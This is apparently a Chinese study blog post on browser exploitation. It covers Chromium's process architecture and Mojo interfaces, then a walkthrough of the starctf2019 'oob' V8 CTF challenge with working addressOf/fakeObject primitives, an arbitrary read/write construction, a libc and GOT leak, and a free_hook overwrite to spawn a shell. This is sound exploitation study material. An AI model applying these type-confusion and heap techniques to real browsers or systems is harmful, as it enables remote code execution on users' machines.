Client Pwn入门学习
学习一下Client的Pwn,入门一下
1. 了解Chromium基础架构
Start Here: Background Reading
Multi-Process Architecture
Chromium的高层架构和其是如何被分为多进程的
问题:渲染引擎很难没有bug或没有安全风险。
现在的操作系统是更加鲁棒的,因为进行了进程之间的隔离。Chromium的架构也采用了这样的更加鲁棒的设计
整体架构:
Chromium使用多进程来保护整个应用避免bug和glitches。同时也使每个进程之间相互隔离,与系统之间也进行了隔离。
我们将主进程(运行UI界面,管理renderer和其他进程的进程)成为浏览器进程”browser process“。同理,负责web页面内容的称为renderer processes。renderers使用Blink开源页面引擎来管理HTML。
管理renderer进程
每一个renderer process有个RenderProcess对象,管理与父进程之间的通信,同时保持全局状态。browser针对每一个renderer process维护一个相应的RenderProcessHost,管理browser的状态并与renderer通信。通信方式为Mojo或者Chromium's legacy IPC system
管理帧与文档
每一个renderer process有一个或多个RenderFrame对象,对应包含内容的frames(帧)。对应browser的是RenderFrameHost管理其文档的状态。每一个RenderFrame有一个路由ID,用于区分renderer内多个文档或帧(仅在单个renderer)。全局区分的话需要RenderProcessHost和路由ID。与browser的通信是通过RenderFrameHost完成的
组件和接口
在renderer process内:
RenderProcess和RenderProcessHost处理Mojo和legacy IPC,每一个render process对应一个RenderProcessRenderFrame对象与其对应的RenderFrameHost通信(Mojo)和Blink层,该对象代表一个web文档页面的内容
在browser process内:Browser对象代表顶层的浏览器窗口RenderProcessHost对象代表browser侧和renderer的IPC通信。RenderFrameHost对象与RenderFrame进行通信,RenderWidgetHost处理输入并渲染RenderWidget对象
先贴个Chromium渲染web页面的结构图
共享 renderer process
通常,每个窗口或tab页面打开一个新的进程。浏览器browser会生成一个新的进程并令其创建一个RenderFrame,该对象后续还会在页面中创建多个iframes。
有时有必要在不同的tab或窗口之间共享renderer process。例如,web应用可以使用window.open创建新的窗口,那么新的文档就需要和原进程共享相同的进程。
检测崩溃或非预期renderersbrowser会通过每一个mojo或IPC连接监视进程句柄。如果句柄signal信号,表示renderer process崩溃,受影响的页面和帧会报告。renderer沙箱renderer在隔离进程中运行,我们可以限制其对系统资源的使用。例如,我们可以确保renderer仅通过chromium的网络服务来访问网络。同理,我们可以限制其对文件系统的访问,或者用户的显示和输入。可以防止进程被劫持利用后造成更大的危害。
申请回内存renderers在不同进程中运行,因此renderers之间存在优先级。正常情况下,Windows系统中最小化的进程的内存会自动放进available memory的池中。在低内存情况下,Windows会将这部分内存交换到硬盘。Chromium也采取了相同的策略。当然直接放入硬盘会降低性能,所以采用的逐步释放的策略。
另外的进程类型
Chromium还将一些其他的组件切割到了隔离进程中。例如,现在Chromium还包括单独的GPU进程,网络服务和存储服务。还有沙箱服务
Blink
What Blink does
Blink是一个web平台的渲染引擎。简单的说,BLink实现了浏览器页面中所有渲染的内容
- 实现了web平台的specs(DOM、CSS和Web IDL)
- 嵌入v8和运行JavaScript
- 从底层网络栈中获取资源
- 建立DOM树
- 计算样式和页面
- 嵌入Chrome Compositor和绘图
Blink由Chromium、Android WebView和Opera采用
Process/thread Architecture
进程:
Chromium为多进程架构。Blink在renderer process中运行。
理论上一个renderer process对应一个网站/页面,然而在实际中,由于内存有限,通常一个renderer process为不同的页面共享。
There is no 1:1 mapping between renderer processes, iframes and tabs.
假设renderer process在沙箱模式运行,Blink需要请求browser process执行系统调用(文件访问、音频播放)以及访问用户信息(cookie、密码)。browser-renderer之间的通信由Mojo实现(过去使用IPC,当然现在仍有很多地方仍然在用,但基本上是要被废弃的)。在Chromium视角下,将browser process抽象理解为services。在Blink视角下,Blink可以使用Mojo与services进行交互
线程:
一个renderer process内部会创建多少个线程?
Blink有一个主线程,多个工作线程和一些内部线程。
几乎所有的重要事务在主线程中执行。所有的JavaScript(workers除外),DOM,CSS,样式渲染在主线程上进行。Blink进行了高度优化来最大化主线程的性能。
Blink会创建多个工作线程来执行Web Workers、ServiceWorker、Worklets。
Blink和V8会创建一些内部线程来处理webaudio、数据库、GC等等。
对于线程之间的通信,你需要使用PostTask API。共享内存是不推荐的。
Blink的初始化和结束
Blink由BlinkIntializer::Initialize()初始化。必须在开头调用。
Blink不会结束。一个原因是性能表现;另一个是通常清理renderer process的所有内容比较困难。
目录结构
Content public APIs and Blink public APIs
Content public APIs是令embedder用于嵌入渲染引擎的API层。必须小心维护,因为其暴露给embedder。
Blink public APIs是通过//third_party/blink为Chromium提供功能的。从WebKit继承来的。历史遗留问题
Directory structure and Dependencies//third_party/blink有以下目录结构:
- platform/:底层细节
- core/ 和 modules/
- bindings/core/ 和 bindings/modules/
- controller/
依赖流 - Chromium => controller/ => modules/ and bindings/modules/ => core/ and bindings/core => platform/ => low-level primitives eg: //base, //v8 and //cc
WTF
WTF是”Blink-specific base”库,位置platform/wtf。存了一些定义,可以减小开销。
内存管理
三种内存分配器:Partition, Oil Pan, malloc/free or new/delete(banned)PartitionAlloc堆申请方式:USING_FAST_MALLOC
1 | class SomeObject { |
其生命周期由scoped_refptr<>或者std::unique_ptr<>管理。不推荐手动管理其生命周期。Oil Pan堆申请方式:GarbageCollected
1 | class SomeObject : public GarbageCollected<SomeObject> { |
其生命周期由garbage collection自动管理。
malloc是不被推荐的
- 默认创建Oil Pan堆
- 创建PartitionAlloc的情况:1)生命周期明确定义;2)申请OilPan对象会引入麻烦;3)申请OilPan对象会给Garbage collection带来压力。
任务调度
为提高渲染引擎的响应速度,Blink的任务应该是异步的。异步的IPC/Mojo和其他的操作可能会花费几毫秒。renderer process内的所有任务都需要提交给Blink Scheduler
1 | // Post a task to frame's scheduler with a task type of kNetworking |
Blink任务调度器会自动维持一个任务队列来自动化调度来提升性能。
Page, Frame, Document, DOMWindow etc
定义:
- 页与tab概念对应(如果OOPIF未启动),每一个
renderer process会存在多个tabs - 帧与(main frame, iframe)对应,每一个页可能包括一个或多个帧
- DOMWindow与javaScript中的window对象对应,每一个Frame有一个DOMWindow
- 文档与window.document对应,每一个Frame有一个Document
- ExecutionContext是Document(主线程)和WorkGlobalScope(工作线程)的抽象
Out-of-Process iframes (OOPIF)
Site Isolation:一个renderer process对应一个site,
2. 拉取源码并编译
系统配置要求
内存>=32GB
硬盘>=100GB
安装clang
安装depot_tools
clone depot_tools仓库
1 | git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git |
添加depot_tools到环境变量
1 | export PATH="/path/to/depot_tools:$PATH" |
获取源码
新建chromium文件夹,并获取源码
1 | !/bin/sh |
要等很久,如果断了的话可以中gclient sync命令断点重传。
安装额外依赖
进入src目录:
1 | !/bin/sh |
编译
1 | !/bin/sh |
加快编译方式
- Use Remote Execution: 用不上
- Include fewer debug symbols:现在入门client pwn还是别了
- Disable debug symbols for Blink and v8
- Use Icecc: 分布式编译器,用不上
1
2use_debug_fission=false
is_clang=false - ccache: 本地编译加速
设置环境变量:1
2
3export CCACHE_BASEDIR=parent_directory
export CCACHE_SLOPPINESS=include_file_mtime
alias cd="cd -P" - Using tmpfs:(要调整inode最大数量,要不然会爆)
1
2
3!bin/sh
run as root
mount -t tmpfs -o size=20G,nr_inodes=400k,mode=1777 tmpfs /path/to/out - Smaller builds: 不需要
开始编译1
autoninja -C out/Default chrome
源码问题,打算切到stable分支再编译一次,确实解决了
3. 实现自定义后门
Mojo术语
一个通信管道由两个端点组成,端点会向另一个发送消息,双向的。mojom文件描述了接口。给定一个mojom interface和一个通信管道,两个端点分成Remote和Receiver。
定义一个新的Frame接口
假设我们要实现从render frame接口向其对应RenderFrameHostImpl发送”Ping”消息。我们需要定义一个mojom接口,使用该接口创建一个管道,然后绑定管道到正确位置。
定义接口
第一步是创建包含借口定义的.mojom文件。
1 | // src/example/public/mojom/pingable.mojom |
还需要添加相应的编译配置文件来设置定义
1 | # src/example/public/mojom/BUILD.gn |
创建管道
使用该接口来创建一个消息管道
在mojo中规定,Remote端负责创建管道
在renderer中添加以下代码:
1 | // src/third_party/blink/example/public/pingable.h |
在例子中,pingable是Remote,receiver是RendingReceiver(Receiver的前身),BindNewPipeAndPassReceiver是最常见的创建消息管道方式。PendingReceiver作为其返回值
发送消息
最终,我们可以在Remote方调用Ping()函数发送消息。
1 | // src/third_party/blink/example/public/pingable.h |
如果要接收响应,我们需要维护pingable对象知道OnPong释放。
到这里,我们实现了从renderer process向browser process发送消息。接下来是如何传递其给browser进程并给Receiver处理消息。
向Browser发送PendingReceiver
PendingReceiver可以直接通过mojom消息发送。最常用的方式是直接用于已连接的接口的函数参数。
这里用到的接口是renderer的RenderFrameImpl和相应的RenderFrameHostImpl连接成的BrowserInterfaceBroker。该接口是获取其他接口的工厂。它有GetInterface方法接收GenericPendingReceiver,可以传递任意的接口receiver。
1 | interface BrowserInterfaceBroker { |
传递给browser方法
1 | RenderFrame* my_frame = GetMyFrame(); |
该方法会将PendingReceiver发送给browser process,BrowserInterfaceBroker负责接收
实现接口
最后,我们需要在browser-side实现Pingable接口
1 |
|
RenderFrameHostImpl实现了BrowserInterfaceBroker。当其接受到GetInterface方法调用时,它会调用前面注册的handler。
1 | // render_frame_host_impl.h |
接口实现,可以实现OnPong=4的效果。(到这里只是简要的讲述原理)
服务概述
服务是独立的代码,实现了一个或多个关联的特性或行为,通过Mojo与外部代码交互。
每一个服务都定义实现了一个Mojo接口
构建一个简单的服务
分为以下三个步骤:
- 定义主服务接口并实现
- 挂钩函数实现
- 创建服务进程逻辑实现
定义服务
在//chrome/services中定义服务
1 | // src/chrome/services/math/public/mojom/math_service.mojom |
定义编译配置文件:
1 |
|
接下来是真正的MathService实现:
1 | // src/chrome/services/math/math_service.h |
1 | // src/chrome/services/math/math_service.cc |
1 |
|
挂钩函数实现
注册factory函数``//chrome/utility/services.cc`
1 | auto RunMathService(mojo::PendingReceiver<math::mojom::MathService> receiver) { |
启动服务
如果在进程内运行服务,则到这里就做完了。如果需要使用mojo远程来实现进程外则还需要进行以下配置。
使用Content的ServiceProcessHost接口:
1 | mojo::Remote<math::mojom::MathService> math_service = |
然后可以实现在进程外的除法功能
1 | // NOTE: As a client, we do not have to wait for any acknowledgement or |
设置沙箱
在.mojom文件中配置沙箱,只有配置out-of-process时才有效
1 | import "sandbox/policy/mojom/sandbox.mojom"; |
Content-Layer Services Overview
Interface Brokers
BrowserInterfaceBroker在RenderFrameHostImpl实现的方法,可供直接调用
1 | void RenderFrameHostImpl::GetGoatTeleporter( |
在browser_interface_binders.cc文件的PopulateFrameBinders函数中注册该函数。
1 | // //content/browser/browser_interface_binders.cc |
也可以指定task runner
1 | // //content/browser/browser_interface_binders.cc |
不同worker的绑定有所不同:
- For Dedicated Workers, add a new method to
DedicatedWorkerHostand register it inPopulateDedicatedWorkerBinders- For Shared Workers, add a new method to
SharedWorkerHostand register it inPopulateSharedWorkerBinders- For Service Workers, add a new method to
ServiceWorkerHostand register it inPopulateServiceWorkerBinders
暂时stuck了,看不太懂browser这边的逻辑~~~
参考链接:
4. V8入门
学习 V8 调试、对象基本结构、古早的通用利用链
以2019年starctf2019的浏览器漏洞题oob为例(注意该题目对应v8版本编译需要在ubuntu18.04系统环境下,python2版本):
0x01 v8编译与调试
v8编译参考:Building V8 from source
1. allow-natives-syntax选项
定义了v8运行时函数,便于本地调试
1 | DebugPrint(obj) 输出对象地址 |
集成gdb
1 | wget https://github.com/GToad/GToad.github.io/releases/download/20190930/gdbinit_v8 |
例如编写test.js:
1 | var a = [1,2,3]; |
gdb运行:
1 | gdb d8 |
使用job命令可以可视化显示JavaScript对象的内存结构:
需要注意,v8在内存中只有数字和对象两种表示。为区分两者,v8在所有对象的内存地址末尾都加了1,表示其为一个对象。因此上图对象实际地址为0xddd00089a9c。
2. v8对象结构
JavaScript是一种解释执行语言,v8本质上是一个JavaScript的解释执行程序
执行流程:v8在读取js语句后,首先将这一条语句解析为语法树,然后通过解释器将语法树变为中间语言的Bytecode字节码,最后利用内部虚拟机将字节码转换为机器码来执行。
为加快解析过程,v8会记录下某条语法树的执行次数,当v8发现某条语法树执行次数超过一定阈值后,会将其直接转换为机器码。后续调用这条js语句时,v8会直接调用这条语法书对应的机器码,而不用转换为ByteCode字节码。(JiT优化)
JIT安全问题:例如如果v8本来通过JIT引擎为某段语法树比如a+b加法计算生成了一段机器码add eax, ebx,而在后续某个时刻,攻击者在js引擎中改变了a和b的对象类型,而JIT引擎并没有识别出该改动,这就导致a和b对象在加法运算时的类型混淆。
v8的对象结构:
| map | 对象为PACKED_SMI_ELEMENTS类型 |
| prototype | prototype |
| elements | 对象元素 |
| length | 元素个数 |
| properties | 属性 |
数组对象的elements也是一个对象,这些元素在内存中的分布正好位于数组对象的上方,即低地址处。也就是说,在内存申请上,v8先申请内存存储元素内容,然后申请了一块内存存储这个对象的结构。对象中elements指向了存储元素内容的内存地址
1 | elements ----> +------------------------+ |
3. 浏览器v8的解题步骤
出题方式有两种:1. diff修改v8引擎源代码;2. 直接采用cve漏洞。
出题者通常会提供一个diff文件,或直接给出一个编译过diff补丁后的浏览器程序。如果只给了一个diff文件,就需要我们自己去下载相关的commit源码,然后本地打上diff补丁,编译出浏览器程序,再进行本地调试。
比如starctf中的oob题目给出了一个diff文件:
1 | diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc |
下载v8然后利用下面的命令,将diff文件加入到v8中源代码分支中:
1 | git apply < oob.diff |
最后编译出增加了diff补丁的v8程序调试即可。
0x02 分析diff文件
oob.diff文件增加了三部分内容:
首先,为Array对象增加了一个oob函数,内部表示为kArrayOob:
1 | --- a/src/bootstrapper.cc |
然后,增加了kArrayOob函数的具体实现:
1 | --- a/src/builtins/builtins-array.cc |
最后,为kArrayOob类型做了与实现函数的关联:
1 | --- a/src/builtins/builtins-definitions.h |
第二部分逻辑:获取oob函数参数,当参数个数为1时,读取数组第length个元素内容,否则将第length个元素改写为args输入参数的第二个参数。上述参数为C++中的参数长度。
C++中成员函数的第一个参数为this指针,因此对应为oob函数参数为空时,返回数组对象第length个元素内容;当oob函数参数个数不为0时,就将第一个参数写入到数组中第length个元素位置。(Off-By-One越界读写漏洞)
应用diff到d8
1 | 引用diff |
在v8中调用oob函数:
1 | root@29ed07c63010:/client/v8_test_dir# ../v8/out/x64.release/d8 |
发现当无参数时,返回了一个值。
目标diff后漏洞为off-by-one,可以实现一字节的越界读写。
利用gdb进行调试,编写test.js如下:
1 | var a = [1, 2, 3, 1.1] |
gdb查看信息:
1 | job 0x21144590de49 |
查看elements布局:
1 | telescope 0x21144590de18 |
第二步泄漏内容为:[*] oob return data:2.95939889729466e-310
与0x367a4cb02ed9一致
第三次触发SystemBreak中断后,重新查看elements布局:
1 | telescope 0x21144590de18 |
发现该地址内容被改为2对应的浮点数
由上文可知,该地址内容为数组对象的MAP属性。MAP属性代表对象的类型。
0x03 编写addressOf和fakeObject
基于上述分析,可以利用该漏洞修改MAP属性,从而可以任意修改数组对象的类型,造成类型混淆。
那出现类型混淆怎么利用呢?举个例子,如果我们定义一个FloatArray浮点数数组A,然后定义一个对象数组B。正常情况下,访问A[0]返回的是一个浮点数,访问B[0]返回的是一个对象元素。如果将B的类型修改为A的类型,那么再次访问B[0]时,返回的就不是对象元素B[0],而是B[0]对象元素转换为浮点数即B[0]对象的内存地址了;如果将A的类型修改为B的类型,那么再次访问A[0]时,返回的就不是浮点数A[0],而是以A[0]为内存地址的一个JavaScript对象了。
造成上面的原因在于,v8完全依赖Map类型对js对象进行解析.
通过上面两种类型混淆的方式,能够实现两种效果:
- AddressOf:将要计算内存地址的对象存放到一个对象数组A[0]中,然后将其修改为浮点数数组类型,访问A[0]即可得到浮点数表示的内存地址;
- FakeObject:将需要伪造的内存地址存放到一个浮点数数组中的B[0],然后利用上述类型混淆漏洞,将浮点数数组的MAP类型修改为对象数组类型。
实现AddressOf和FakeObject功能原语编写测试语句,打印一个对象地址:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
// float to int & int to float
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// addressOf
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;
obj_array.oob(obj_array_map); // 还原
return obj_addr;
}
// fakeObject
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map);
return faked_obj
}输出结果如下,可以发现正常输出地址1
2
3
4
5var test_obj = {};
%DebugPrint(test_obj);
var test_obj_addr = addressOf(test_obj);
console.log("[*] leak object addr: 0x" + test_obj_addr.toString(16));
%SystemBreak();1
2
3
4root@29ed07c63010:/client/v8/out/x64.release# ./d8 --allow-natives-syntax ./test.js
0x1d661f60f071 <Object map = 0xa35c0d80459>
[*] leak object addr: 0x1d661f60f070
Trace/breakpoint trap (core dumped)
0x04 如何实现任意地址读写:构造AAR/AAW原语
利用fakeObject函数实现任意读写
js对象内存布局:
1 | ArrayObject ---->-------------------------+ |
在内存中部署以上内存,就可以伪造成一个数组对象,elements对象可控,而这个指针指向了存储数组元素内容的内存地址。将其指向任意地址,就可以实现任意地址读写。
假设定义一个float数组对象fake_array,我们可以利用addressOf泄露fake_array对象地址,然后根据其elements对象与fake_object的内存偏移,可以得出elements地址:addressOf(fake_object) - 0x30的关系。
需要注意,elemets+0x10地址才是实际存储数组元素的地址。
1 | +---> elements +---> +---------------+ |
构造任意读写的原语(需要注意fake_array中申请了6个元素,占据0x30个内存长度,因此再加上elements对象10字节的map和length,总长度为0x40,所以fake_object内存位置应为addressOf(fake_array)-0x40+0x10:
1 | var fake_array = [ |
然后在v8中进行调试:
1 | var a = [1.1, 2.2, 3.3]; |
0x05 任意地址读写:漏洞利用
两种利用思路:
- 通过堆漏洞能够实现一个任意地址写的效果,结合程序功能和UAF漏洞泄漏libc地址,通过泄漏的libc地址计算出free_hook、malloc_hook、system和one_gadget的内存地址。利用任意写修改hook函数为system或one_gadget地址。
- 利用webassembly构造一块RWX内存页,通过漏洞将shellcode覆写到原本属于webassembly机器码的内存页中,后续再调用webassembly函数接口时,实际就触发了部署好的shellcode
0x06 传统堆利用思路
泄漏libc地址方法:
1. 随机泄漏
感觉很抽象,先不搞这个
2. 稳定泄露
1 | var a = [1.1, 2.2, 3.3]; |
调试结果如下图,可见成功获取获取了目标d8加载基址:
之后即可计算d8基地址,读取got表中malloc等libc函数的内存地址,然后计算出free_hook或system或one_gadget的地址。
1 | var d8_base_addr = leak_d8_addr - 0xf91780n; |
write64函数存在问题,利用了DataView对象:
1 | var buffer = new ArrayBuffer(16); |
对write64作以下修改:
1 | var data_buf = new ArrayBuffer(8); |
最后申请一个局部buffer变量,然后释放,从而触发free操作:
1 | function get_shell() |
获取shell需要在d8非调试状态直接运行才能看到效果。在gdb中其实也可以看到起了bash
去掉后发现可以拿到shell
TODO:wasm 注入shellcode
参考链接: